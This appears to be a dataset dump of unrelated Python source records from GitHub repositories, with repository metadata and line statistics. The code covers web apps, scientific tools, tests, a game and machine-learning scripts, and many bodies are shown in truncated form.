gil9red/SimplePyScripts
c191ce08fbdeb29377639184579e392057945154
[ "CC-BY-4.0" ]
8
2018-10-03T09:38:46.000Z
2021-12-13T19:51:09.000Z
autoindent_code_JASS_war3map_j.py
gil9red/SimplePyScripts
c191ce08fbdeb29377639184579e392057945154
[ "CC-BY-4.0" ]
28
2016-08-02T17:43:47.000Z
2022-03-21T08:31:12.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' import re DEBUG = False lines = """ function II1I1_II takes real II1I1__I returns nothing local real II1I1_1I local real st=TimerGetElapsed(II1I___I) if st<=0 then set II1I___I=CreateTimer() call TimerStart(II1I___I,1000000,false,null) endif...
23.258333
80
0.638839
fe7bebb9c7d420d8879b0fc07f857afa803296a1
5,656
py
Python
python/addNewData.py
TruX-DTF/fixminer_source
5ab2d6f582743c377eadb21cd466a3a25809bc2d
[ "MIT" ]
5
2021-07-19T12:30:00.000Z
2022-01-14T16:41:00.000Z
python/addNewData.py
SerVal-DTF/fixminer_source
5ab2d6f582743c377eadb21cd466a3a25809bc2d
[ "MIT" ]
10
2020-04-06T09:52:19.000Z
2021-06-01T08:05:25.000Z
python/addNewData.py
SerVal-DTF/fixminer_source
5ab2d6f582743c377eadb21cd466a3a25809bc2d
[ "MIT" ]
5
2019-08-26T11:02:35.000Z
2021-03-23T15:42:09.000Z
from common.commons import * DATA_PATH = os.environ["DATA_PATH"]
39.552448
299
0.592999
fe7d3ca44a30c1b45cb010d74a7365ccccfb69bc
691
py
Python
app.py
aosjehdgus/transliteration
1934999385863009cdf9f8806e949157d653a9f4
[ "Apache-2.0" ]
null
null
null
app.py
aosjehdgus/transliteration
1934999385863009cdf9f8806e949157d653a9f4
[ "Apache-2.0" ]
null
null
null
app.py
aosjehdgus/transliteration
1934999385863009cdf9f8806e949157d653a9f4
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- import os import sys import tensorflow as tf import numpy as np import data_utils from translate import Transliteration from flask import Flask, request, jsonify transliteration = Transliteration() app = Flask(__name__) # Flask , . app.config['JSON_AS_ASCII'] = False # . if __name...
24.678571
68
0.727931
fe7e1b8337434731ea17dce123e62981ed1e6ab4
87
py
Python
pyano2/apps.py
mental689/pyano
2bc75e79618392f2013dfde2ac8035fe5fa1dc61
[ "MIT" ]
1
2022-01-31T17:34:37.000Z
2022-01-31T17:34:37.000Z
pyano2/apps.py
mental689/pyano
2bc75e79618392f2013dfde2ac8035fe5fa1dc61
[ "MIT" ]
null
null
null
pyano2/apps.py
mental689/pyano
2bc75e79618392f2013dfde2ac8035fe5fa1dc61
[ "MIT" ]
null
null
null
from django.apps import AppConfig
14.5
33
0.747126
fe7f812fda345139b99dd24f883eb46ae8bf8541
609
py
Python
cime/scripts/lib/CIME/XML/env_build.py
cbeall123/E3SM
ec32b40d549b292f14acd11e6774686564539d3c
[ "FTL", "zlib-acknowledgement", "RSA-MD" ]
1
2020-08-28T14:57:15.000Z
2020-08-28T14:57:15.000Z
cime/scripts/lib/CIME/XML/env_build.py
cbeall123/E3SM
ec32b40d549b292f14acd11e6774686564539d3c
[ "FTL", "zlib-acknowledgement", "RSA-MD" ]
null
null
null
cime/scripts/lib/CIME/XML/env_build.py
cbeall123/E3SM
ec32b40d549b292f14acd11e6774686564539d3c
[ "FTL", "zlib-acknowledgement", "RSA-MD" ]
1
2021-03-11T23:20:58.000Z
2021-03-11T23:20:58.000Z
""" Interface to the env_build.xml file. This class inherits from EnvBase """ from CIME.XML.standard_module_setup import * from CIME.XML.env_base import EnvBase logger = logging.getLogger(__name__)
33.833333
91
0.714286
fe8041c5c55101ae0dcfff5c78088fd9a509554f
6,805
py
Python
services/ops/LogStatisticsAgent/logstatisticsagent/agent.py
gnmerritt/volttron
ebfbf62bab77d46fd3e8d6aaca1fc4f33932ccf3
[ "Apache-2.0" ]
1
2020-05-26T01:29:50.000Z
2020-05-26T01:29:50.000Z
services/ops/LogStatisticsAgent/logstatisticsagent/agent.py
gnmerritt/volttron
ebfbf62bab77d46fd3e8d6aaca1fc4f33932ccf3
[ "Apache-2.0" ]
null
null
null
services/ops/LogStatisticsAgent/logstatisticsagent/agent.py
gnmerritt/volttron
ebfbf62bab77d46fd3e8d6aaca1fc4f33932ccf3
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- {{{ # vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et: # # Copyright 2019, Battelle Memorial Institute. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www...
38.885714
103
0.680235
fe83754072cf9c384870b3ad7538706613b6e5d9
675
py
Python
apps/inventory/serializers.py
sseits-skku/its-backend
faf020568b930aaff4958d47602c511aad8a6c8e
[ "MIT" ]
null
null
null
apps/inventory/serializers.py
sseits-skku/its-backend
faf020568b930aaff4958d47602c511aad8a6c8e
[ "MIT" ]
8
2020-06-05T23:00:49.000Z
2022-03-11T23:59:32.000Z
apps/inventory/serializers.py
sseits-skku/its-backend
faf020568b930aaff4958d47602c511aad8a6c8e
[ "MIT" ]
1
2019-10-01T13:07:22.000Z
2019-10-01T13:07:22.000Z
from rest_framework.serializers import ModelSerializer from .models import Place, Status, OSType, Stock, ComputerStock
19.852941
63
0.675556
fe86745dc1d7b386636a2027dae3d2552bd3e833
2,412
py
Python
test/dict_parameter_test.py
shouldsee/luigi
54a347361ae1031f06105eaf30ff88f5ef65b00c
[ "Apache-2.0" ]
14,755
2015-01-01T09:33:34.000Z
2022-03-31T15:38:39.000Z
test/dict_parameter_test.py
shouldsee/luigi
54a347361ae1031f06105eaf30ff88f5ef65b00c
[ "Apache-2.0" ]
2,387
2015-01-01T09:16:13.000Z
2022-03-12T13:55:43.000Z
test/dict_parameter_test.py
shouldsee/luigi
54a347361ae1031f06105eaf30ff88f5ef65b00c
[ "Apache-2.0" ]
2,630
2015-01-02T06:11:32.000Z
2022-03-27T22:11:20.000Z
# -*- coding: utf-8 -*- # # Copyright 2012-2015 Spotify AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
37.6875
105
0.679934
fe87946e35b940790f2abaab6a2a55e9294ad44f
7,305
py
Python
echoscope/source/mysql_source.py
treeyh/echoscope
ef8933ce9a5dfe2ac8fb6e82bad8d5fa0d72a6da
[ "MIT" ]
1
2022-01-18T09:19:38.000Z
2022-01-18T09:19:38.000Z
echoscope/source/mysql_source.py
treeyh/echoscope
ef8933ce9a5dfe2ac8fb6e82bad8d5fa0d72a6da
[ "MIT" ]
null
null
null
echoscope/source/mysql_source.py
treeyh/echoscope
ef8933ce9a5dfe2ac8fb6e82bad8d5fa0d72a6da
[ "MIT" ]
1
2022-01-18T09:19:39.000Z
2022-01-18T09:19:39.000Z
# -*- coding: UTF-8 -*- import logging from typing import List from echoscope.config import config from echoscope.util import mysql_util, str_util, log_util from echoscope.model import ds_model, config_model from echoscope.source import source
39.701087
411
0.675975
fe87ead9a791db821c1f883b4076bac8b4dc4efb
99,064
py
Python
lib/XChemPANDDA.py
graeme-winter/XChemExplorer
7b0779387705ab37074d80f77baf22891eb56907
[ "MIT" ]
2
2018-03-11T08:38:43.000Z
2021-09-25T07:46:44.000Z
lib/XChemPANDDA.py
graeme-winter/XChemExplorer
7b0779387705ab37074d80f77baf22891eb56907
[ "MIT" ]
208
2017-06-30T10:32:12.000Z
2022-03-29T10:38:32.000Z
lib/XChemPANDDA.py
graeme-winter/XChemExplorer
7b0779387705ab37074d80f77baf22891eb56907
[ "MIT" ]
6
2017-06-01T20:33:31.000Z
2021-10-04T09:44:09.000Z
# last edited: 10/08/2017, 10:25 import os, sys, glob, subprocess from datetime import datetime from PyQt4 import QtGui, QtCore import math #from XChemUtils import mtztools import XChemDB import XChemRefine import XChemUtils import XChemLog import XChemToolTips import csv try: import gemmi import pandas excep...
50.594484
265
0.589447
fe8a256140b6390c55cadca6d58880f260544702
5,253
py
Python
OmegaErp/Apps/base/forms/__init__.py
OMAR-EHAB777/FerpMenu
6aee4616bc9bc7801023fe51acfa28e1e1267b66
[ "BSD-3-Clause" ]
null
null
null
OmegaErp/Apps/base/forms/__init__.py
OMAR-EHAB777/FerpMenu
6aee4616bc9bc7801023fe51acfa28e1e1267b66
[ "BSD-3-Clause" ]
null
null
null
OmegaErp/Apps/base/forms/__init__.py
OMAR-EHAB777/FerpMenu
6aee4616bc9bc7801023fe51acfa28e1e1267b66
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Global app forms """ # Standard Library import re # Django Library from django import forms from django.contrib.auth.forms import UserChangeForm, UserCreationForm from django.utils.translation import ugettext_lazy as _ # Thirdparty Library from dal import autocomplete # Localfolder Librar...
26.938462
80
0.491148
fe8a7abf97fc4938deedb4a0e775164e6040fb1b
1,042
py
Python
test-drf-project/tests/conftest.py
fvlima/drf-view-profiler
a61d48e9835679f812d69d24ea740b947836108c
[ "MIT" ]
30
2019-10-16T12:48:16.000Z
2021-11-23T08:57:27.000Z
test-drf-project/tests/conftest.py
fvlima/drf-view-profiler
a61d48e9835679f812d69d24ea740b947836108c
[ "MIT" ]
null
null
null
test-drf-project/tests/conftest.py
fvlima/drf-view-profiler
a61d48e9835679f812d69d24ea740b947836108c
[ "MIT" ]
1
2021-11-23T07:28:04.000Z
2021-11-23T07:28:04.000Z
from unittest import mock import pytest from django.http import HttpRequest from rest_framework.response import Response from rest_framework.test import APIClient from drf_viewset_profiler.middleware import LineProfilerViewSetMiddleware
24.809524
100
0.794626
fe8b3957ceddf0ec804e544f4e167363b9d84f54
3,553
py
Python
Examples/VirtualLab/virtual_experiment_f.py
diehlpk/muDIC
b5d90aa62267b4bd0b88ae0a989cf09a51990654
[ "MIT" ]
70
2019-04-15T08:08:23.000Z
2022-03-23T08:24:25.000Z
Examples/VirtualLab/virtual_experiment_f.py
diehlpk/muDIC
b5d90aa62267b4bd0b88ae0a989cf09a51990654
[ "MIT" ]
34
2019-05-03T18:09:43.000Z
2022-02-10T11:36:29.000Z
Examples/VirtualLab/virtual_experiment_f.py
diehlpk/muDIC
b5d90aa62267b4bd0b88ae0a989cf09a51990654
[ "MIT" ]
37
2019-04-25T15:39:23.000Z
2022-03-28T21:40:24.000Z
# This allows for running the example when the repo has been cloned import sys from os.path import abspath sys.path.extend([abspath(".")]) # Example code follows import logging import numpy as np import matplotlib.pyplot as plt import muDIC.vlab as vlab import muDIC as dic """ This example case runs an experiment whe...
36.628866
112
0.731776
fe8b6fcdfeb01114b63f0a0d1b3c6d4bd1396297
81
py
Python
src/template_config.py
ckaestne/toxicity-detector
bb00ffe4470c6c1a2f561212d487d56eab5a5da7
[ "MIT" ]
7
2020-03-03T18:09:48.000Z
2022-03-23T16:55:26.000Z
src/template_config.py
ckaestne/toxicity-detector
bb00ffe4470c6c1a2f561212d487d56eab5a5da7
[ "MIT" ]
67
2020-06-09T23:57:49.000Z
2022-02-05T19:09:49.000Z
src/template_config.py
sophieball/toxicity-detector
7c07c5e6a6915428fdae64cbd3bc07caa697774e
[ "MIT" ]
6
2020-02-21T00:19:57.000Z
2022-03-03T23:00:42.000Z
mongo = { "user": "", "passwd": "", "db": "ghtorrent" } perspective_api_key = ""
27
55
0.555556
fe8c212fdb626e028311eb927a139fd3cc7bba51
1,455
py
Python
tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py
COEJKnight/one
6a5f8cd9468ab368019eb2597821b7837f74d9e2
[ "CC0-1.0" ]
1
2018-10-29T12:54:44.000Z
2018-10-29T12:54:44.000Z
tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py
COEJKnight/one
6a5f8cd9468ab368019eb2597821b7837f74d9e2
[ "CC0-1.0" ]
null
null
null
tests/unit/dataactvalidator/test_fabs38_detached_award_financial_assistance_2.py
COEJKnight/one
6a5f8cd9468ab368019eb2597821b7837f74d9e2
[ "CC0-1.0" ]
null
null
null
from tests.unit.dataactcore.factories.staging import DetachedAwardFinancialAssistanceFactory from tests.unit.dataactvalidator.utils import number_of_errors, query_columns _FILE = 'fabs38_detached_award_financial_assistance_2' def test_success(database): """ AwardingOfficeCode must be six characters long. """ ...
45.46875
120
0.808935
fe8d5aa19fb8f623818fa75491db0f6d028311d8
3,203
py
Python
Optimisation Portfolios/HERC.py
BrandonAFong/Ideas
5d38be2dfaba12a534220e3f28a6c9da9aefcdec
[ "MIT" ]
null
null
null
Optimisation Portfolios/HERC.py
BrandonAFong/Ideas
5d38be2dfaba12a534220e3f28a6c9da9aefcdec
[ "MIT" ]
null
null
null
Optimisation Portfolios/HERC.py
BrandonAFong/Ideas
5d38be2dfaba12a534220e3f28a6c9da9aefcdec
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Aug 31 22:48:21 2021 @author: apple """ import numpy as np import pandas as pd from HRP import seriation import fastcluster from scipy.cluster.hierarchy import fcluster from gap_statistic import OptimalK from backtest import df_to_matrix #HERC #...
28.345133
84
0.609429
fe8e1c215219c1805761ef6232ba7b858bfbd7b4
3,641
py
Python
src/conv/convertManifest2Curation.py
nakamura196/i3
16d7695e5412b45dc8e0192d9ca285723ac9f788
[ "Apache-2.0" ]
3
2020-04-21T11:36:10.000Z
2022-02-01T00:46:59.000Z
src/conv/convertManifest2Curation.py
nakamura196/i3
16d7695e5412b45dc8e0192d9ca285723ac9f788
[ "Apache-2.0" ]
17
2021-01-08T17:20:38.000Z
2021-06-29T05:55:47.000Z
src/conv/convertManifest2Curation.py
nakamura196/i3
16d7695e5412b45dc8e0192d9ca285723ac9f788
[ "Apache-2.0" ]
null
null
null
import urllib.request from bs4 import BeautifulSoup import csv import requests import os import json import time import glob files = glob.glob("/Users/nakamura/git/d_iiif/iiif/src/collections/nijl/data/json/*.json") for i in range(len(files)): file = files[i] file_id = file.split("/")[-1].replace(".json", "...
31.938596
106
0.355397
fe8e3a04a382b9b727449826066c850475d83dbe
190
py
Python
programme.py
GaLaXy102/Vacationing
e476f1047deeca8f68897a497716319afab3e7f0
[ "MIT" ]
null
null
null
programme.py
GaLaXy102/Vacationing
e476f1047deeca8f68897a497716319afab3e7f0
[ "MIT" ]
null
null
null
programme.py
GaLaXy102/Vacationing
e476f1047deeca8f68897a497716319afab3e7f0
[ "MIT" ]
null
null
null
from lib import get_itineraries import data if __name__ == '__main__': for itinerary in get_itineraries(data.sicily): print("#" * 24) print(itinerary) print("")
21.111111
50
0.636842
fe908006796adb02dbc2aa1b3ab9fa0ac75b1812
5,574
py
Python
sawyer/mujoco/tasks/transition_pick_and_place_task.py
rlagywjd802/gym-sawyer
385bbeafcccb61afb9099554f6a99b16f1f1a7c5
[ "MIT" ]
null
null
null
sawyer/mujoco/tasks/transition_pick_and_place_task.py
rlagywjd802/gym-sawyer
385bbeafcccb61afb9099554f6a99b16f1f1a7c5
[ "MIT" ]
null
null
null
sawyer/mujoco/tasks/transition_pick_and_place_task.py
rlagywjd802/gym-sawyer
385bbeafcccb61afb9099554f6a99b16f1f1a7c5
[ "MIT" ]
null
null
null
import numpy as np from sawyer.mujoco.tasks.base import ComposableTask
28.880829
121
0.571582
fe90ddd8fb4cfe4289850e4b9709b973ed6310cd
36,485
py
Python
tests/app/test_jinja_filters.py
nealedj/eq-survey-runner
b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34
[ "MIT" ]
null
null
null
tests/app/test_jinja_filters.py
nealedj/eq-survey-runner
b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34
[ "MIT" ]
1
2018-11-05T12:00:51.000Z
2018-11-05T12:00:51.000Z
tests/app/test_jinja_filters.py
nealedj/eq-survey-runner
b8e6cddae6068f6c8fd60e21d31d58aaa79bbb34
[ "MIT" ]
null
null
null
# coding: utf-8 from types import SimpleNamespace from datetime import datetime, timedelta from unittest.mock import patch from dateutil.relativedelta import relativedelta from jinja2 import Undefined, Markup from mock import Mock from app.jinja_filters import ( format_date, format_conditional_date, format_curre...
38.005208
143
0.615952
fe90eb5d4db9dcb42eabad6cf0007baab0fc7833
18,598
py
Python
levels/sombie.py
superhasduper/PythonGames
64995d3e0b619006a2cf80d0da3c0fdf97db6fd9
[ "MIT" ]
1
2019-07-07T19:55:39.000Z
2019-07-07T19:55:39.000Z
levels/sombie.py
superhasduper/PythonGames
64995d3e0b619006a2cf80d0da3c0fdf97db6fd9
[ "MIT" ]
null
null
null
levels/sombie.py
superhasduper/PythonGames
64995d3e0b619006a2cf80d0da3c0fdf97db6fd9
[ "MIT" ]
null
null
null
import arcade import os SPRITE_SCALING = 0.5 SPRITE_NATIVE_SIZE = 128 SPRITE_SIZE = int(SPRITE_NATIVE_SIZE * SPRITE_SCALING) SCREEN_WIDTH = SPRITE_SIZE * 14 SCREEN_HEIGHT = SPRITE_SIZE * 10 MOVEMENT_SPEED = 5 COIN_SCALE = 0.7 def setup_room_1(): """ Create and return room 1. If your ...
36.324219
124
0.614367
fe916e74f3d8c5dd73c18e07f1aa14f15ee3d8d0
4,869
py
Python
venv/lib/python3.6/site-packages/gevent/testing/openfiles.py
Guillaume-Fernandez/phishfinder
b459a30202fd5dfb1340b43c70363705de7cedd9
[ "MIT" ]
10
2021-03-23T03:46:19.000Z
2022-03-08T07:20:25.000Z
venv/lib/python3.6/site-packages/gevent/testing/openfiles.py
Guillaume-Fernandez/phishfinder
b459a30202fd5dfb1340b43c70363705de7cedd9
[ "MIT" ]
7
2021-05-21T16:51:48.000Z
2022-03-12T00:50:26.000Z
venv/lib/python3.6/site-packages/gevent/testing/openfiles.py
Guillaume-Fernandez/phishfinder
b459a30202fd5dfb1340b43c70363705de7cedd9
[ "MIT" ]
4
2021-04-21T00:49:34.000Z
2021-11-21T09:18:29.000Z
# Copyright (c) 2018 gevent community # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, di...
38.642857
139
0.657835
fe93e83fe7e8770b4f2c1e2cf97bec6cd0abb158
1,628
py
Python
examples/multiprocess_example.py
ct-clmsn/distributed-tensorflow-orchestration
c841659881e98209149bd6e3e09774a50e3c748e
[ "Apache-2.0" ]
5
2016-07-27T08:25:17.000Z
2022-02-07T19:41:45.000Z
examples/multiprocess_example.py
ct-clmsn/distributed-tensorflow-orchestration
c841659881e98209149bd6e3e09774a50e3c748e
[ "Apache-2.0" ]
null
null
null
examples/multiprocess_example.py
ct-clmsn/distributed-tensorflow-orchestration
c841659881e98209149bd6e3e09774a50e3c748e
[ "Apache-2.0" ]
1
2022-02-07T19:41:46.000Z
2022-02-07T19:41:46.000Z
''' marathon_example.py performs a simple matrix multiply using 3 compute nodes ''' if __name__ == '__main__': from sys import argv import tensorflow as tf from dtforchestrator import * args = parseargs() with MultiprocessTensorFlowSession(args.taskname, args.n_tasks) as tfdevices: wit...
34.638298
116
0.673219
fe97b6953c22bb335b56638721adf4a720e34f5f
2,922
py
Python
FAUCovidCrawler/AWSLambda/lambda_function.py
Awannaphasch2016/CDKFAUCovid19Cralwer
a84d90612314cb4d4618da95238617a524b1b280
[ "MIT" ]
null
null
null
FAUCovidCrawler/AWSLambda/lambda_function.py
Awannaphasch2016/CDKFAUCovid19Cralwer
a84d90612314cb4d4618da95238617a524b1b280
[ "MIT" ]
null
null
null
FAUCovidCrawler/AWSLambda/lambda_function.py
Awannaphasch2016/CDKFAUCovid19Cralwer
a84d90612314cb4d4618da95238617a524b1b280
[ "MIT" ]
null
null
null
''' Original code contributor: mentzera Article link: https://aws.amazon.com/blogs/big-data/building-a-near-real-time-discovery-platform-with-aws/ ''' import boto3 import json import twitter_to_es # from Examples.Demo.AWS_Related.TwitterStreamWithAWS.LambdaWithS3Trigger import \ # twitter_to_es from tweet_utils i...
33.204545
142
0.589322
fe97e4775b3fbd1abdf826717d17fd4e96f2144c
353
py
Python
user_messages/context_processors.py
everaccountable/django-user-messages
101d539b785bdb440bf166fb16ad25eb66e4174a
[ "MIT" ]
21
2018-04-18T17:58:12.000Z
2022-01-19T12:41:01.000Z
user_messages/context_processors.py
everaccountable/django-user-messages
101d539b785bdb440bf166fb16ad25eb66e4174a
[ "MIT" ]
4
2018-04-24T11:04:15.000Z
2022-02-03T18:35:21.000Z
user_messages/context_processors.py
everaccountable/django-user-messages
101d539b785bdb440bf166fb16ad25eb66e4174a
[ "MIT" ]
7
2018-03-04T16:03:44.000Z
2022-02-03T15:50:39.000Z
from django.contrib.messages.constants import DEFAULT_LEVELS from user_messages.api import get_messages def messages(request): """ Return a lazy 'messages' context variable as well as 'DEFAULT_MESSAGE_LEVELS'. """ return { "messages": get_messages(request=request), "DEFAULT_MESSAG...
23.533333
60
0.708215
fe98a505a6e3e05977900098d14a4c4efb60654a
502
py
Python
Day_5/highest_score.py
ecanro/100DaysOfCode_Python
a86ebe5a793fd4743e0de87454ba76925efdd23d
[ "MIT" ]
null
null
null
Day_5/highest_score.py
ecanro/100DaysOfCode_Python
a86ebe5a793fd4743e0de87454ba76925efdd23d
[ "MIT" ]
null
null
null
Day_5/highest_score.py
ecanro/100DaysOfCode_Python
a86ebe5a793fd4743e0de87454ba76925efdd23d
[ "MIT" ]
null
null
null
## Highest Score # Don't change the code below student_scores = input("Input a list of student scores: ").split() for n in range(0, len(student_scores)): student_scores[n] = int(student_scores[n]) print(student_scores) # Don't change the code above # Write your code below this row highest_score = 0 for score...
26.421053
66
0.721116
fe9913a9a0d00104117bbc4e7f42cf9196b11854
8,791
py
Python
finetune/finetune.py
zaixizhang/MGSSL
fdb7e78bb927d735ed64dc78fb792adb13352e1c
[ "Apache-2.0" ]
43
2021-10-15T01:11:36.000Z
2022-03-31T02:05:41.000Z
finetune/finetune.py
zaixizhang/MGSSL
fdb7e78bb927d735ed64dc78fb792adb13352e1c
[ "Apache-2.0" ]
5
2021-12-09T08:07:22.000Z
2022-03-02T07:34:34.000Z
finetune/finetune.py
zaixizhang/MGSSL
fdb7e78bb927d735ed64dc78fb792adb13352e1c
[ "Apache-2.0" ]
7
2021-11-23T01:15:36.000Z
2022-03-07T16:30:30.000Z
import argparse from loader import MoleculeDataset from torch_geometric.data import DataLoader import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from tqdm import tqdm import numpy as np from model import GNN, GNN_graphpred from sklearn.metrics import roc_auc_score from ...
42.674757
176
0.657604
fe995885e2a5bd2844820d9d11a66c6433d1051b
1,166
py
Python
jumpscale/packages/vdc_dashboard/bottle/api/exceptions.py
threefoldtech/js-sdk
811f783ac34a60225175bab2d806802a87b9d5c7
[ "Apache-2.0" ]
13
2020-09-02T09:05:08.000Z
2022-03-12T02:43:24.000Z
jumpscale/packages/vdc_dashboard/bottle/api/exceptions.py
threefoldtech/js-sdk
811f783ac34a60225175bab2d806802a87b9d5c7
[ "Apache-2.0" ]
1,998
2020-06-15T11:46:10.000Z
2022-03-24T22:12:41.000Z
jumpscale/packages/vdc_dashboard/bottle/api/exceptions.py
threefoldtech/js-sdk
811f783ac34a60225175bab2d806802a87b9d5c7
[ "Apache-2.0" ]
8
2020-09-29T06:50:35.000Z
2021-06-14T03:30:52.000Z
from jumpscale.core import exceptions
13.55814
62
0.732419
fe99a748e2fcbf259f6611afd0ca5930032c99b6
5,703
py
Python
neurokit2/signal/signal_plot.py
gutierrezps/NeuroKit
a30f76e64b4108abdc652a20391dc0288c62501d
[ "MIT" ]
1
2022-03-20T21:09:34.000Z
2022-03-20T21:09:34.000Z
neurokit2/signal/signal_plot.py
Lei-I-Zhang/NeuroKit
a30f76e64b4108abdc652a20391dc0288c62501d
[ "MIT" ]
null
null
null
neurokit2/signal/signal_plot.py
Lei-I-Zhang/NeuroKit
a30f76e64b4108abdc652a20391dc0288c62501d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import matplotlib.pyplot as plt import numpy as np import pandas as pd from ..events import events_plot from ..stats import standardize as nk_standardize def signal_plot( signal, sampling_rate=None, subplots=False, standardize=False, labels=None, **kwargs ): """Plot signal with events...
33.946429
109
0.57198